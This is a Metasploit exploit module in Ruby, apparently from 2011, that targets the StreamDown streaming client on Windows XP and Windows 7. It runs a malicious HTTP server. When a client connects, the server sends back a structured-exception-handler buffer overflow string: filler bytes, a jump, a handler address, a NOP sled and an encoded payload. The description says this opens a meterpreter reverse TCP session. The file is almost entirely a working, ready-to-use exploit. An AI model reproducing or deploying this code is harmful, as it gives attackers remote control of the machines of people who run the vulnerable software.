##
# $Id: stream_down_BOF.rb 1 2011-12-18 $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer
def initialize
super(
'Name' => 'StreamDown Buffer over flow universal exploit',
'Version' => '$Revision: 1 $',
'Description' => 'Stream Down Buffer Overflow universal exploit tested against win xp sp3 and win7 sp1. Also note that the program will not crash in case of meterpreter reverse tcp payload but a session will be opened',
'Author' => 'Fady Mohamed Osman',
'References' =>
[
['URL', 'http://www.dark-masters.tk/']
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0a"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE
)
end
def on_request_uri(cli,request)
seh = 0x10019448
nseh = "\xeb\x06\x90\x90"
sploit = "A"*16388 + nseh + [seh].pack('V') + "\x90"*10 + payload.encoded
cli.put(sploit)
close_client(cli)
end
end
